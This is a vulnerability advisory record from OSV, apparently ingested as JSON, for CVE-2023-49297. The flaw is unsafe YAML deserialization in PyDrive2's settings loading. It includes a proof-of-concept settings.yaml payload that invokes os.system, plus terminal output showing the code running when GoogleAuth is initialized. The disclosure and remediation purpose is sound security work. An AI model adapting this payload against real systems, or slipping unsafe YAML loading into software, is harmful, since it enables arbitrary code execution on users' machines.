{"id":"CVE-2023-49297","aliases":["GHSA-v5f6-hjmf-9mc5","PYSEC-2023-291"],"title":"PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution","summary":"PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution","severity":"low","cvss":3.3,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","vendor":"pydrive2","product":"pydrive2","ecosystem":"pip","affected":["pydrive2","pydrive2 < 1.16.2"],"patched":["pydrive2 1.16.2"],"published":"2023-12-05","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:09.173407956Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-v5f6-hjmf-9mc5","references":[{"url":"https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49297"},{"url":"https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004"},{"url":"https://github.com/iterative/PyDrive2"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml"},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG"},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW"}],"tags":["osv","pip"],"epss":0.0051,"epssPercentile":0.41039,"ingestedAt":"2026-09-12T03:13:01.729Z","slug":"CVE-2023-49297","body":"## Overview\n\n### Summary\nUnsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.\n\n### Details\nThe loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5\n\nThis loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121\n\nCLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.\n\nhttps://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9\n\nReference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf\n\n### PoC\n1. Create a malicious `settings.yaml` file:\n\n```yaml\n!!python/object/new:os.system [echo poc]\n```\n2. Initialize a `GoogleAuth` object .\n```python\nfrom pydrive2.auth import GoogleAuth\n\ngauth = GoogleAuth()\n```\n3. Execute the code with the settings file present in your directory. The code inside the file will be executed:\n```\n[evan@ejedev PyDrive2]$ ls\nCHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini\n[evan@ejedev PyDrive2]$ cat settings.yaml\n!!python/object/new:os.system [echo poc]\n[evan@ejedev PyDrive2]$ cat main.py \nfrom pydrive2.auth import GoogleAuth\n\n\ngauth = GoogleAuth()\n[evan@ejedev PyDrive2]$ python3 main.py \npoc\n```\nAlternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile` \n\n### Impact\nThis is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk. \n\n## Affected packages\n\n- `pydrive2`\n- `pydrive2 < 1.16.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pydrive2 1.16.2`","depth":"sunlit","depthScore":18,"depthScoreParts":{"impact":18.2,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}